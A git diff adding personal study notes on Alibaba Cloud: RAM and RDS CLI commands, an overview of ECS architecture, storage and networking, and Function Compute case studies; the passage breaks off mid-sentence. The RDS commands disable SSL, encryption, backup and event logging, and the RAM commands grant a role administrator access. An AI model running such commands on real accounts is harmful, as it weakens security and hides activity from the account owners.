+![Screenshot 2023-01-14 at 02.16.26](https://i.imgur.com/5t4emCZ.jpg) + + + + + + + + +. diff --git a/_posts/01Cloud/01Ali/CLI.md b/_posts/01Cloud/01Ali/CLI.md new file mode 100644 index 00000000000..960c94fe722 --- /dev/null +++ b/_posts/01Cloud/01Ali/CLI.md @@ -0,0 +1,209 @@ + + + + +- [RAM](#ram) +- [RDS](#rds) + + +--- + + +# RAM + + +```bash + +$ aliyun ram ListPolicies | grep PolicyName + +$ aliyun ram ListPolicies \ +--PolicyType Custom | grep PolicyName + + + +$ aliyun ram AttachPolicyToRole \ +--PolicyName AdministratorAccess \ +--PolicyType System \ +--RoleName adminalicloud + + +$ aliyun ram AttachPolicyToRole \ +--PolicyName sec-test-grace \ +--PolicyType Custom \ +--RoleName adminalicloud + + + +$ aliyun ram DetachPolicyFromRole \ +--PolicyName ct-boundary-testcopy-grace \ +--PolicyType Custom \ +--RoleName adminalicloud + + +$ aliyun ram ListPoliciesForRole \ +--RoleName adminalicloud + + +$ aliyun ram DeletePolicy \ +--PolicyName ct-boundary-testcopy-grace + + +``` + + + + + +# RDS + +```bash + +aliyun rds DescribeDBInstances \ +--RegionId cn-beijing | grep DBInstanceId + +aliyun rds DescribeDBInstances \ +--RegionId cn-beijing +{ + "Items": { + "DBInstance": [ + { + "ConnectionMode": "Standard", + "ConnectionString": "rm-dj16n21vme51m0j9o.mysql.rds.aliyuncs.com", + "CreateTime": "2022-02-02T22:06:56Z", + "DBInstanceClass": "mysql.n2.large.25", + "DBInstanceId": "rm-dj16n21vme51m0j9o", + "DBInstanceNetType": "Intranet", + "DBInstanceStatus": "Running", + "DBInstanceStorageType": "local_ssd", + "DBInstanceType": "Primary", + "Engine": "MySQL", + "EngineVersion": "8.0", + "ExpireTime": "", + "InsId": 1, + "InstanceNetworkType": "Classic", + "LockMode": "Unlock", + "LockReason": "", + "MutriORsingle": false, + "PayType": "Postpaid", + "ReadOnlyDBInstanceIds": { + "ReadOnlyDBInstanceId": [] + }, + "RegionId": "cn-beijing", + "ResourceGroupId": "rg-acfnxlnj6dcw2ay", + "TipsLevel": 0, + "VpcCloudInstanceId": "", + "ZoneId": "cn-beijing-a" + } + ] + }, + "NextToken": "o7PORW52PYRg8NUW9EJ7Yw", + "PageNumber": 1, + "PageRecordCount": 1, + "RequestId": "286DD4D1-D701-5717-8880-FF5A7AD742A1", + "TotalRecordCount": 1 +} + + + +aliyun rds ModifyActionEventPolicy + + + + +# ModifyBackupPolicy +aliyun rds ModifyBackupPolicy \ +--DBInstanceId rm-dj16n21vme51m0j9o \ +--BackupLog Enable + +aliyun rds ModifyBackupPolicy \ +--DBInstanceId rm-dj16n21vme51m0j9o \ +--BackupLog Disabled + + +aliyun rds ModifyInstanceCrossBackupPolicy \ +--DBInstanceId rm-dj16n21vme51m0j9o \ +--LogBackupEnabled 0 + + +# ModifyDBInstanceTDE +aliyun rds ModifyDBInstanceTDE \ +--DBInstanceId rm-dj16n21vme51m0j9o \ +--TDEStatus Disabled + +aliyun rds ModifyDBInstanceTDE \ +--DBInstanceId rm-dj16n21vme51m0j9o \ +--TDEStatus Enabled + + + +# SSL +aliyun rds DescribeDBInstanceSSL \ +--DBInstanceId rm-dj16n21vme51m0j9o +{ + "ConnectionString": "", + "RequestId": "6995A99E-11EC-5E8E-8BFF-7B54CF28317D", + "RequireUpdate": "No", + "RequireUpdateReason": "", + "SSLEnabled": "No", + "SSLExpireTime": "" +} + + +aliyun rds ModifyDBInstanceSSL \ +--DBInstanceId rm-dj16n21vme51m0j9o \ +--ConnectionString "" \ +--SSLEnabled 0 + + + +# ModifyActionEventPolicy +aliyun rds ModifyActionEventPolicy \ +--EnableEventLog False +{ + "EnableEventLog": "False", + "RegionId": "cn-beijing", + "RequestId": "0C8A5071-8A64-58F3-B1D6-DB159D9D86BB" +} + +aliyun rds ModifyActionEventPolicy \ +--EnableEventLog True + + + +aliyun rds CreateDBInstance \ +--RegionId cn-beijing \ +--Engine MySQL \ +--EngineVersion 8.0 \ +--DBInstanceClass mysql.n2.large.25 \ +--DBInstanceStorage local_ssd \ +--DBInstanceNetType Internet \ +--SecurityIPList "" \ +--PayType Postpaid \ +--EncryptionKey "" \ +--InstanceNetworkType Classic + + + + + + +``` + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01Ali/CloudComputing.md/2020-08-18-ECS.md b/_posts/01Cloud/01Ali/CloudComputing.md/2020-08-18-ECS.md new file mode 100644 index 00000000000..e46c0f0d477 --- /dev/null +++ b/_posts/01Cloud/01Ali/CloudComputing.md/2020-08-18-ECS.md @@ -0,0 +1,710 @@ +--- +title: AliCloud - ECS +date: 2020-08-18 11:11:11 -0400 +categories: [01AliCloud, CloudComputing] +tags: [AliCloud] +toc: true +image: +--- + +- [ECS - Elastic Compute Service](#ecs---elastic-compute-service) + - [Overview](#overview) + - [Billing](#billing) + - [Architecture](#architecture) + - [responsibilities](#responsibilities) + - [The advantage](#the-advantage) + - [virtualization](#virtualization) + - [physical locations](#physical-locations) + - [Regions](#regions) + - [Zones (datacenters)](#zones-datacenters) + - [connectivity](#connectivity) + - [Instance Failover](#instance-failover) + - [ECS Instance](#ecs-instance) + - [ECS Instance Types](#ecs-instance-types) + - [ECS Storage](#ecs-storage) + - [Block Storage](#block-storage) + - [Cloud Disks](#cloud-disks) + - [ECS Snapshots](#ecs-snapshots) + - [ECS Image](#ecs-image) + - [ECS Networking](#ecs-networking) + - [VPC](#vpc) + - [ECS communication](#ecs-communication) + - [Security Groups](#security-groups) + - [IP address](#ip-address) + - [ENI](#eni) + - [ECS Setting](#ecs-setting) + - [Instance Metadata](#instance-metadata) + - [User data](#user-data) + +--- + +# ECS - Elastic Compute Service + +--- + +## Overview + +**Elastic Compute Service** (ECS) +- a computing service with flexible processing capacity. +- a high-performance, stable, reliable, and scalable IaaS-level solution +- used to deploy virtual servers known as Instances. +- essentially a Virtual Machine that lives on Alibaba's public cloud. + +--- + +### Billing + +- **PAYG**: pay-as-you-go basis, +- **subscription**: upfront subscription +- **Pre-emptible Instance**: PAYG instance, with PAYG lower price (Bid-based) +- **RI**: Reserved Instance + +use cause: +- log +- no worries of interrept + +![Screenshot 2023-01-15 at 12.29.50](https://i.imgur.com/JJqQlna.png) + +![Screenshot 2023-01-15 at 12.31.45](https://i.imgur.com/9Qs95yS.png) + +--- +### Architecture + +ECS comprises the following major components: + +- `Instance`: A virtual computing environment that includes basic computing components such as CPU, memory, network bandwidth, and disks. +- `Image`: provides the operating system, initial application data, and pre-installed software for instances. +- `Block Storage`: A block storage device based on the Object Storage Service (OSS) which features high performance and low latency distributed cloud disks. +- `Security Groups`: Used by a logical group of instances located in the same region that have the same security requirements and require access to each other. +- `Network`: A logically isolated private cloud network. + +--- + +### responsibilities + +**IaaS or Infrastructure as a Service** +- Alibaba provides and manages the virtualization, servers, storage, and networking. +- customer select the operating system, install applications and manage the data. + +In the diagram, you can see the different responsibilities when you provision a server on premise and when you provision a server within Alibaba Cloud ECS Instances can easily deploy and manage applications with better stability and security, compared to physical servers on premise. + +![Screen Shot 2021-09-17 at 3.43.55 PM](https://i.imgur.com/MozAXcw.png) + +- ECS Instances provide resizable compute capacity in the cloud. They are designed to make large scale computing easier. You can create instances with a variety of operating systems. +- Alibaba supports most mainstream Linux and Microsoft Windows Server systems. +- And you can run as many or as few instances as you like. + +--- + + +### The advantage + +> Unlike provisioning on-premise machines, + + +- provide a host of built-in security solutions, such as Virtual Firewalls, Internal network isolation, public IP Access, Anti-Virus and Denial of Service Attack protection. + +- get a lot more flexibility, stability, and security than you would get in the own Cloud environment because you benefit from all the work Alibaba has done, to improve and grow its public cloud offerings, to improve its own security and provide stable service, so an ECS is a Virtual Machine that you run on Alibaba Cloud. + +- If you compare ECS with a traditional OffCloud Deployment, the **key benefit** is `operations and maintenance costs` are lower. + + - do not have to purchase any hardware upfront. + - can scale and remove restheces based on actual business needs. + + - For an ECS instance, physical server management, storage, physical networking configuration, power cooling and virtualization, these things are all Alibaba Clouds problem, you only worry about launching the virtual Machine, logging into it, and setting up the software that you want, so you get lower O&M burdens by moving to ECS. + + +- flexibility, + - can create a VM and destroy a VM anytime you want without waiting. + - Instances are delivered within minutes, enabling rapid deployment with little or no wait time. + +- If you buy physical hardware, you're then committed to that hardware, even if you end up not using it. + - Cloud deployments can in fact be cheaper than OffCloud deployments. + + +### virtualization + +- What really makes ECS work is virtualization. + + +![Screenshot 2023-01-14 at 02.51.12](https://i.imgur.com/Hi6AeS0.png) + + +- **virtualization** + + - The Elastic Compute Service is provided via a virtualization layer that is provisioned within the Data Centres around the world. + + - The Data Centres contain thousands of racks and this is where the virtualization technology sits. + + - multiple datacenters around the world, in each datacenter have racks of physical servers, each physical servers running Linux, and then it's running a virtualization layer. + + - In many cases it is `Kernel Virtual Machine or KVM`. + + - Alibaba uses XEN and KVM Virtualisation to provision its ECS Instances. + + + - These instances, in turn, run on top of the `X-Dragon Compute Platform` and the Apsara distributed file system called `Pangu`, which provides the storage system. + +- **launch** + + - When you launch an ECS instance, it create a KVM Virtual Machine and launching it on one of these physical servers inside of the datacenter. + + - Because the workload is living within this Virtual Machine, it can be moved around between physical machines as needed, + - if a physical server fails, we can simply migrate the Virtual Machine to a different physical server that's healthy. + +- **Apsara** 飞天 + + - In order to do all of this migration and management and decide where to schedule the Virtual Machines, we have a management layer running on top of the cluster of Linux machines inside of the datacenter, we call this layer **Apsara** + + - Apsara is the self-developed distributed system for managing the Cloud platform, all of the products are built on top of Apsara. + + - Essentially, Apsara handles storage, scheduling, resthece management, and distributed coordination for all of the products that run on the public Cloud + - some of the components of Apsara here in orange, + - the public Cloud products running on top in gray. + +![Screenshot 2023-01-14 at 02.51.53](https://i.imgur.com/i148ALT.png) + +- **Pangu** 盘古 + + - the distributed file system is a key component of all of the storage services, including storage for the ECS instances. + - When you allocate an ECS instance disk, that's actually running on top of a distributed file system, which gives you extra reliability over and above what you would get with a single physical block device. + + +--- + + +## physical locations + +- physical locations with one or more data centers spread all over the world reduce network latency. + + +- Currently, Alibaba Cloud has 22 regions across the world at 66 zones. + +![Screenshot 2023-01-14 at 02.52.38](https://i.imgur.com/I09Q0Af.png) + +--- + +### Regions + +- The region is where Alibaba Cloud Services launch the Instance + +- Choose a region to optimize latency, minimize cost or address regulatory requirements. + +- There are specific regions in mainland China and other International regions available, + +- Having multiple regions around the world means that you can provision servers closer to the users. + + +--- + +### Zones (datacenters) + +- Within each of those regions, we have multiple datacenters, multiple zones. + + - Zones refer to physical Data Centres within a region that have independent power supplies and networks. + + - Each zone is a physical data center with independent power and network connectivity. + +- Fault isolation can easily deep performed between zones, + - so if a single zone fails, the other zones in the region are not affected. + + - Because each region contains multiple zones, it's possible to build failure tolerant architectures by deploying multiple ECS instances into each zone + - If Zone A were to fail, the instance in zone B can continue to serve requests. + + +- **High Availability** + + - Users can separate ECS Instances into different zones in a region to facilitate, for example, ‘High Availability’. + + - ECS Instances created in a single region will have private, low latency intranet network connectivity to other zones in the same region. + + - However, ECS instances created in different regions, by default will not have private network connectivity. + + - The network latency for instances within the same zone, however, is lower than when communicating across zones in the same region. + +- trade off between network latency and high availability. + + - build a **multi-zone architecture/deployment** + - high availability and can tolerate a slight network latency + + - have the absolute fastest communication possible between all of the VMs + - put them all in a single zone. + +--- + +### connectivity + +![Screenshot 2023-01-14 at 02.53.29](https://i.imgur.com/anmOK64.png) + +connectivity between regions and zones. + +- **Within a single region** + - all of the zones are connected together over Alibaba Clouds private network + - traffic that passes between the zones within a region is free + +- **Between region** + - Between regions, have to use + - `the public internet` + - `VPN gateway` on top of the public internet, + - `Cloud enterprise network CEN` - a paid private network connects multiple regions. + + - You will incur a + - public bandwidth charge for using the `public internet` + - or a VPN gateway charge for having a `VPN tunnel` + - or a CAN network charge for the `enterprise multi-region private network`. + + - We do have a private network between the regions, but we charge you for bandwidth if you use that multi-region private network, that's a major distinction. + + +--- + +### Instance Failover + +![Screenshot 2023-01-15 at 12.27.32](https://i.imgur.com/6MN1rbc.png) + +- SLA: + - 99.975 percent for a single Virtual Machine + - 99.995 percent for multi-zone Virtual Machines. + +- ESC is deployed in all 22 of the worldwide regions. + +- the Machines all use modern `Intel Xeon CPUs`, + - sometimes with CPU frequencies up to 3.2 or even 3.8 gigahertz + - initialize or release up to a 100 of these Virtual Machines in as little as 10 minutes. + +- These Virtual Machines run as though they were the very own physical machine. + +- ECS instance is a virtual machine that contains basic computing components such as the CPU, memory, operating system, network bandwidth, and disks. +- Once created, you can customize and modify the configuration of an ECS instance. For example: Add or remove additional Cloud Disks. + +--- + +## ECS Instance + +--- + + +### ECS Instance Types + +![Screenshot 2023-01-14 at 02.17.02](https://i.imgur.com/ObEnKzN.png) + +![Screenshot 2023-01-14 at 02.17.02](https://i.imgur.com/MnHh24X.png) + + +**families** +ECS instances are categorized into different families +- based on the business needs to which those families can be applied, +- an `instance family` also has many `instance types` based on different CPU and memory configurations. +- An ECS instance defines two basic attributes: + - the CPU + - the memory configuration +- `storage and networking capacity` + +![Screenshot 2023-01-15 at 11.50.37](https://i.imgur.com/epovRoC.png) + + +**instance types** +The instance types follow a naming convention which depicts the instance family, instance generation and instance size, +- for Example: + - ecs.g5.large. + - ecs is a prefix (All ECS instances have this in the name), + - ‘g’ denotes instance family (in this case general purpose), + - 5 denotes the instance generation and implies the CPU to RAM ratio, in this case, a ratio of 1 to 4 (this means that for each CPU there is 4 GB RAM), and large denotes the instance size. +- ecs.g5.large is the smallest instance in the general-purpose family and this instance has 2 CPUs, so with a ratio of CPU to RAM of 1 to 4 this instance has 2 CPUs and therefore 8GB of RAM. +- ecs.g5.xlarge is the next in the family tree so it has 4 CPUs and 16GB of RAM. +- ecs.g5.2xlarge is the next in the family tree so it has 8 CPUs and there 32GB of RAM. + + +3 main types of families: +- **X86-Architecture** +- **Heterogeneous Computing**, +- and **ECS Bare Metal Instances**. + + +**X86-Architecture** + +- based on the workload: + - general purpose instances, + - compute optimized, + - memory optimized, + - high clock speed, + - local SSD, + - Big Data, + - and even in SAP instance type specifically designed to run SAP as forehand workloads. + + +- X dragon + - third generation virtualization technology + - ali built, gives almost zero cost on the virtualization layer. + +- 7 different subtypes as follows: +- `Entry Level (Shared Burstable)`: + - You can accumulate CPU credits for the burstable instances, and consume those credits to increase the computing power of the workloads when required. + - Used for Web application servers, Lightweight applications, and development and testing environments. +- `General Purpose`: + - Used for Websites, application servers, Game servers, Small and medium-sized database systems. +- `Memory Optimised`: + - Used for data analysis and mining, and other memory-intensive enterprise applications. +- `Big Data`: + - Used for Enterprises that need to compute, store, and analyze large volumes of data. +- `Local SSD`: Used for Online transaction processing (OLTP) and high-performance databases. +- `High Clock Speed`: Used for on-screen video and telecom data forwarding, High-performance scientific and engineering apps. + +![Screenshot 2023-01-15 at 11.54.51](https://i.imgur.com/1d6UXNt.png) + +--- + +**ECS Bare Metal Instances** + +- EBM* + + +- combines the elasticity of VM and the performance and features of physical machines. + - have no virtualization layer + - The virtualization used by ECS Bare Metal Instances is optimized to support common ECS instances and nested virtualization. + +- ECS Bare Metal Instances use `virtualization 2.0` to provide business applications with `direct access to the processor and memory restheces of the underlying servers without virtualization overheads`. + +- These are ideal for applications that need to run in a non-virtualized environment. + +- great choice for running the own virtualization scheme like VMware or Microsoft Hyper-V + +![Screenshot 2023-01-15 at 11.57.27](https://i.imgur.com/MlswInr.png) + +![Screenshot 2023-01-15 at 12.23.22](https://i.imgur.com/tSbgS4l.png) + +![Screenshot 2023-01-15 at 12.24.40](https://i.imgur.com/P2MlEm8.jpg) + +![Screenshot 2023-01-15 at 12.25.26](https://i.imgur.com/wsAxEOw.png) + +![Screenshot 2023-01-15 at 12.25.59](https://i.imgur.com/CmHhGsm.png) + +--- + +**Heterogeneous Computing** + +- 2 main subtypes as follows: + - designed for `workloads that require special purpose hardware`. + - include instances that `offer a TPU or an FPGA card` + +- `GPU-based compute-optimized`: + - Used for Rendering and multimedia encoding and decoding, Machine learning, high-performance computing, and high-performance databases, Other server-high end workloads that require powerful concurrent floating-point compute capabilities. + +- `Field-programmable-Gate-Array-based compute-optimized`: + - Used for Deep learning and reasoning, Genomics research, Financial analysis, Image transcoding, Computational workloads such as real-time video processing and security management. + +![Screenshot 2023-01-15 at 12.21.34](https://i.imgur.com/igxCpXr.jpg) + + + +**HPC high-performance computing instance** + +- used to build supercomputing clusters. + - built-in RDMA support + - very high-speed convergent Ethernet connectivity. + - designed for things like + - very high-speed media of transcoding, + - industry simulation, + - rendering, + - or even genetics. + + + +--- + +### ECS Storage + +--- +#### Block Storage +- a high-performance, low latency block storage service. +- supports random or sequential read and write operations. +- Block Storage is similar to a physical disk, you can format a Block Storage device and create a file system on it to meet the data storage needs of the business. + + +--- + +#### Cloud Disks + +- based on the `Apsara` distributed file system called `“Pangu”`. +- 3 redundant copies are stored on different physical servers under different switches in the datacentre. +- This provides high data reliability in the case of a failure. + + +![Screenshot 2023-01-15 at 12.33.17](https://i.imgur.com/LpxBzmr.png) + + +**Cloud Disk Type** +- 3 types of Cloud Disk +- `Ultra Disk`: + - Cloud disks with high cost-effectiveness, medium random IOPS performance, and high data reliability. +- `Standard SSD`: + - High-performance disks that feature consistent and high random IOPS performance and high data reliability. +- `Enhanced SSD`: + - ultra-high performance disks based on the next-generation distributed block storage architecture. + - Each ESSD can deliver up to 1 million of random IOPS and has low latency. + + + +**Cloud Disks Target** + +- Cloud Disks can be mounted to any instance in the same zone, + - but cannot be mounted to instances across zones . + +- ECS Storage provides architecture-based Cloud disks for the operating system disks and data disks. + +- System disk + - by default has the same life cycle as the ECS instance to which it is mounted, and is released along with the ECS instance. (This auto release function can be changed.) + - Shared access to system disks is not allowed . + - System disk sizes can be 20GB and 500GB. + - dependent on the operating system being provisioned. + - Linux and FreeBSD systems default to 20GB. + - CoreOS systems default to 30GB. + - Windows systems default to 40GB. + + +- Data disks + - have the same life cycle as the corresponding instance, and are released along with the instance by default. (auto-release function can be changed.) + - can be created separately or at the same time as an ECS instance. + - created separately can be released separately or at the same time as the corresponding ECS instance. + - s hared access to a data disk is not allowed . + - sizes can be between 20GB and 32TB + - up to `16` Data Disks can be attached to a single ECS Instance. + +![Screenshot 2023-01-15 at 12.41.46](https://i.imgur.com/CdPfjYx.png) + +PL1: system +PL3: database + + +--- + +### ECS Snapshots + +- Snapshots are complete, read-only copies of disk data at certain points in time. + + + +**Usecase** + +- **Disaster recovery and backup**: + - create a snapshot for a disk, use it to create another disk to implement zone- or geo-disaster recovery. + +- **Environment clone**: + - use a system disk snapshot to create a custom `image`, + - and then use the custom image to create an ECS instance to clone the environment. + +- **Data development**: + - Snapshots can provide near-real-time production data for applications + - such as data mining, report queries, and development and tests. + +- **Enhanced fault tolerance**: + - roll a disk back to a previous point in time by using a snapshot to reduce the risk of data loss caused by an unexpected occurrence. + - create snapshots on a regular basis to prevent losses caused by unexpected occurrences. + - These unexpected occurrences can include, for example, + - writing incorrect data to disks, + - accidentally deleting data from a disk, + - accidentally releasing ECS instances, + - data errors caused by application errors, + - and data loss due to hacking attempts. + +- **before high-risk operations**: + - such as changing operating systems, upgrading applications, and migrating business data. + + +**snapshot policy** +- Snapshots can be created `manually` or `automatically` by creating a **snapshot policy**. +- When the maximum number of snapshots has been reached, the oldest snapshot is deleted as a new one is created. +- Snapshots are charged based on the storage space used and the amount of time they are kept. + +![Screenshot 2023-01-15 at 13.01.19](https://i.imgur.com/vPKpye2.png) + + +**incremental copy** +- Up to 64 snapshots can be created per disk +- and each snapshot is an **incremental copy** of the previous snapshot. + +![Screenshot 2023-01-15 at 13.02.55](https://i.imgur.com/KvcpQQt.png) + +--- + + +### ECS Image + +Images are a template of a runtime environment for an ECS Instance. + +4 main types. + +- `Public System Images`: + - Public images licensed by Alibaba Cloud are highly secure and stable. These public images include most Windows Server and mainstream Linux systems. + - These images only include standard system environments and you can apply the own customization and configurations based on these images. + +- `Marketplace Images`: + - Alibaba Cloud Marketplace images are classified into the following 2 types. + - Images provided by Alibaba Cloud + - and Images provided by Independent Software Vendors and licensed by Alibaba Cloud Marketplace + - An Alibaba Cloud Marketplace image contains an operating system and pre-installed software. + - The operating system and pre-installed software are tested and verified by the ISV and Alibaba Cloud to ensure that the images are safe to use. + - These are suitable for website building, application development, and other personalized use scenarios. + +- `Custom Image`: + - Custom images are created from Instances or system snapshots, or imported from the local device. + - Only the creator of a custom image can use, share, copy, and delete the image. + - These custom images can be used to create more instances, saving you the effort of creating a new system from scratch. + +- `Shared Image`: + - A shared image is a custom image that has been shared to other users or accounts. + - Alibaba Cloud cannot guarantee the security and integrity of the images shared with you. You use them at the own risk and discretion. + + +![Screenshot 2023-01-15 at 13.03.43](https://i.imgur.com/s8mQa47.png) + +![Screenshot 2023-01-15 at 13.05.29](https://i.imgur.com/fxk6iKC.png) + + +--- + +## ECS Networking + +--- + +### VPC + +![Screenshot 2023-01-15 at 13.07.10](https://i.imgur.com/vepWzzD.png) + +**Virtual Private Cloud (VPC)** +- a logically isolated Virtual Network. +- provides VLAN-level isolation and blocks outer network communications +- it is a requirement when provisioning an ECS Instance. + +- VPC offers two major features, + - customize their own network topology, + - Assign Private IP address ranges, allocate network segments, + - and Configure VSwitches. + +- Customers can Integrate existing Datacentres through a `dedicated line (Express Connect)` or a `VPN Gateway` to form a hybrid cloud. + + + +A VPC is made up of two main components: +- `A Virtual Router (VRouter)` +- and `one or more Virtual Switches (VSwitch)` + + +**VSwitch** +- a basic network device of a VPC network and is used to connect different ECS instances together in a subnet. +- A VPC can have a maximum of 24 VSwitches. + + +**VRouter** +- a hub that connects all of the VSwitches in the VPC and serves as a gateway device that can connect to other networks. + +--- + +### ECS communication + +![Screenshot 2023-01-15 at 13.14.34](https://i.imgur.com/ZHAU5BX.png) + +![Screen Shot 2021-09-17 at 4.09.04 PM](https://i.imgur.com/dEsfWmP.png) + +- VM1, VM2, and VM 3 can all communicate with each other, irrespective of the fact that they’re in different zones; they are in the same virtual private cloud network. + + +--- + +### Security Groups + +- act as virtual firewalls that provide **Stateful Packet Inspection** and **packet filtering** of `network protocol, port and sthece IP traffic` to allow or deny access. + +- configure security group rules to control the inbound and outbound traffic of ECS instances in the group. + +![Screenshot 2023-01-15 at 13.09.54](https://i.imgur.com/QPMirQ5.png) + +There are 2 classifications of security groups: +- `Basic` and `Advanced`. + + +**Basic security groups** +- support up to 2000 private IP Addresses, +- inbound and outbound rules can be configured to allow or deny ECS instances in basic security groups access to the Internet or intranet. + +**Advanced security groups** +- new type of security group. +- an advanced security group can contain an unlimited number of private IP addresses. +- can only configure allow rules for inbound and outbound traffic, +- all non-allowed traffic is denied by default. + + +**Default Security Group**: +- When you create an ECS instance in a region through the ECS console, a default security group is created if no other security group has been created under the current account in this region. +- The default security group is a basic security group and has the same network type as the ECS instance. + + +Security groups have the following characteristics: +- must specify a security group when you create an ECS instance. +- Each ECS instance must belong to at least one security group but can be added to multiple Security Groups at the same time. +- ECS Instances cannot belong to both basic and advanced security groups at the same time +- ECS instances in the same security group can communicate with each other through the internal network. +- ECS instances in different security groups are isolated from each other. +- You can add security group rules to authorize mutual access between two security groups. +- You can configure security group rules only for basic security groups, to authorize mutual access between two security groups. +- regional concept, can managed ECS in different zones. + +![Screenshot 2023-01-15 at 13.11.28](https://i.imgur.com/rhgUBua.png) + +--- + +### IP address + +- Each VPC-Connected ECS instance is assigned a private IP address when it is created. +- That address is determined by the VPC and the CIDR block of the vSwitch to which the instance is connected. + +A Private IP Address can be used in the following scenarios +- Load balancing +- Communication among ECS instances within an intranet +- Communication between an ECS instance and other cloud products (such as OSS and RDS) or within an intranet. + + +public IP address +- ECS instances support two public IP address types. +- `NATPublicIP`, + - which is assigned to a VPC-Connected ECS instance. + - This type of address can be released only, and cannot be disassociated from the instance. +- `Elastic IP Address (EIP)`. + - an independent public IP address that you can purchase and use. + - EIPs can be associated to different ECS instances that reside within VPCs over time to allow public access to the ECS instances. + +Their use cases are: +- do not want to retain the public IP address when the instance is released, use a NatPublicIP address +- want to keep a public IP address and associate it to any of the VPC-Connected ECS instances in the same region, use the EIP address + +![Screenshot 2023-01-15 at 13.15.51](https://i.imgur.com/WcvpSiY.png) + + +![Screenshot 2023-01-15 at 13.16.18](https://i.imgur.com/V4CM8J4.png) + + +--- + +### ENI + +![Screenshot 2023-01-15 at 13.16.55](https://i.imgur.com/D9jsODv.png) + + +--- + +## ECS Setting + + +### Instance Metadata + + +![Screenshot 2023-01-15 at 13.18.24](https://i.imgur.com/DK96fvG.png) + + +### User data + +![Screenshot 2023-01-15 at 13.19.11](https://i.imgur.com/C0YH664.png) + + + +. diff --git a/_posts/01Cloud/01Ali/CloudComputing.md/FC.md b/_posts/01Cloud/01Ali/CloudComputing.md/FC.md new file mode 100644 index 00000000000..a52ae6edfaf --- /dev/null +++ b/_posts/01Cloud/01Ali/CloudComputing.md/FC.md @@ -0,0 +1,186 @@ + + + +--- + +- [Ali - Function Compute](#ali---function-compute) +- [basic](#basic) +- [use case](#use-case) + - [Function Compute, Tablestore, and API Gateway](#function-compute-tablestore-and-api-gateway) + - [Function Compute, Message Queue for Apache RocketMQ and OSS](#function-compute-message-queue-for-apache-rocketmq-and-oss) + - [Function Compute](#function-compute) + - [Alibaba Cloud CDN, Function Compute, OSS](#alibaba-cloud-cdn-function-compute-oss) + + +--- + +## Ali - Function Compute + + +--- + + +## basic + +- fully-managed, event-driven computing service for serverless applications +- can focus on writing and uploading code, without the need to procure and manage infrastructure resources such as servers. Function Compute prepares computing resources for you, runs code in an elastic and reliable way, and provides features such as log query, performance monitoring, and alert. + +With Function Compute, you can quickly create any type of applications and services and only pay for the resources actually consumed when you run your code. + + +![p96487](https://i.imgur.com/126wddr.png) + + + +- can run many different types of applications, including API gateways, data lake analyses, log stores and backups, web crawlers, and image recognition applications +- With Function Compute, developing is convenient and reliable. +- supports many different programming languages including Java, Python, PHP, and NodeJS. + +- provides real-time auto scaling and dynamic load balancing for managing heavy traffic bursts within millisecond timeframes. +- Its compute resources ensure that code is flexible and reliable. Furthermore, +- offers a Pay-As-You-Go option. No fee is incurred if the code doesn’t run. the code run duration is measured in milliseconds. + + + +--- + +1. Create a service. +2. Create a function, write the code of the function, and then deploy the code to the function. +3. Trigger the function. +4. View the execution logs of the function. +5. View service monitoring data. + + +![p96542](https://i.imgur.com/ksgzB3Y.png) + + + + + + + + + + + +--- + +## use case + +Some common business scenarios: +- analysis and management of media assets, such as integrating a range of services that run an elastic and highly available backend video system. +- have a serverless backend that triggers Function Compute code which then renders dynamic and static webpages housed in Alibaba Cloud’s Object Storage Service. +- implementing Function Compute to manage real time IoT message processing and the monitoring of data streams. + + +--- + + +### Function Compute, Tablestore, and API Gateway + + +**Customer pain points** +- Burst traffic: Century Mart has a large number of followers. -large number of members to grab coupons at the same time. The burst traffic was so high that its service was interrupted. +- Excessive server demand: Management services of supermarket members are intensive. A large number of servers are used to support regular online shopping promotions, but business is greatly affected during peak hours. +- System overload: Large promotion activities may encounter tedious and complicated work of server management and system overload caused by the fluctuating number of users. Century Mart must find an elastic and stable system architecture to support such activities. + + +**Solution** +- The serverless architecture features `fast scaling, elasticity, and high availability` and is able to cope with burst traffic. + - Tablestore replaces traditional relational databases. + - Function Compute reads and writes data from and to Tablestore and efficiently returns processing results to frontend users. +- The new solution of using `Function Compute, Tablestore, and API Gateway` greatly simplifies O&M compared with the traditional solution of temporarily adding servers. + - **Function Compute**: supports auto scaling and can dynamically allocate runtime environments based on the number of requests received. Its deployment is simple. + - **Tablestore**: offers faster access and higher throughput, which eliminates the need to add additional servers. + - **API Gateway**: allows you to control access and export API documentation in a convenient way. +- Benefits of Alibaba Cloud services and the serverless architecture + - Increase revenue: reach a new high of 550 million transactions + - Reduce workload: + - Function Compute reduces the workload of technical engineers. + - Function Compute is a fully managed and event-driven computing service. You can write and upload code without the need to manage infrastructure resources such as servers. + - Function Compute prepares computing resources and provides features such as log query, performance monitoring, and alerting. + - Migrating all data and business to Alibaba Cloud can greatly reduce the stress and workload of users. If Century Mart does not use Function Compute but only deploy more servers to support large amounts of traffic and business during Double 11, Century Mart will not be able to ensure the normal operation of the activities. Alibaba Cloud resolves the scale-out issues, which greatly improves the data storage capacity. + - Reduce the dependency on technical engineers: Alibaba Cloud provides cutting edge technologies. Developers in Century Mart do not need to study algorithms, but need only to learn how to use relevant tools of Alibaba Cloud. This reduces research and development investment and costs. + + +--- + +### Function Compute, Message Queue for Apache RocketMQ and OSS + +**Customer pain points and requirements** +- JL-Tour receives more than ten million pieces of data updates from more than 600,000 hotels every day. These data updates require `high concurrency and feature short validity period`. This poses great pressure on the existing system of JL-Tour in terms of instantaneous concurrent message processing. +- JL-Tour needed an advanced system that can provide the following features and reduce the pressure of concurrent message processing: + - **Concurrent processing capacity**: The system must concurrently process a maximum of 100,000 messages. + - **Scalable processing capacity**: The system must automatically scale in or out within milliseconds based on the number of messages to be processed. The cost of use is charged based on the actual resources required. + - **Support for multiple data sources**, such as OSS and messages. + - **Support for multiple programming languages**, such as Python, Go, and Java. + - **O&M monitoring capabilities**: The system allows for rapid deployment and updates, monitors real-time resource usage, analyzes logs, and generates alerts. + +**Solution** +- By taking the following advantages of `Function Compute, Message Queue for Apache RocketMQ and OSS`, JL-Tour meets its business requirements: +- Function Compute listens to a variety of data sources. +- It monitors and processes changes in the volume of business, and carries out adaptive scale-out and scale-in operations with efficiency. +- It monitors scale-out operations that are performed within milliseconds. This allowed JL-Tour to achieve linear growth in business capacity. +- Function Compute supports multiple programming languages for easy use. +- Function Compute supports easy deployment and can monitor real-time resource usage, analyze logs, and generate alerts. + +**Benefits of Function Compute** +- Business stability: Function Compute automatically scales in or out based on the volume of business. By using Function Compute, JL-Tour can ensure business stability without 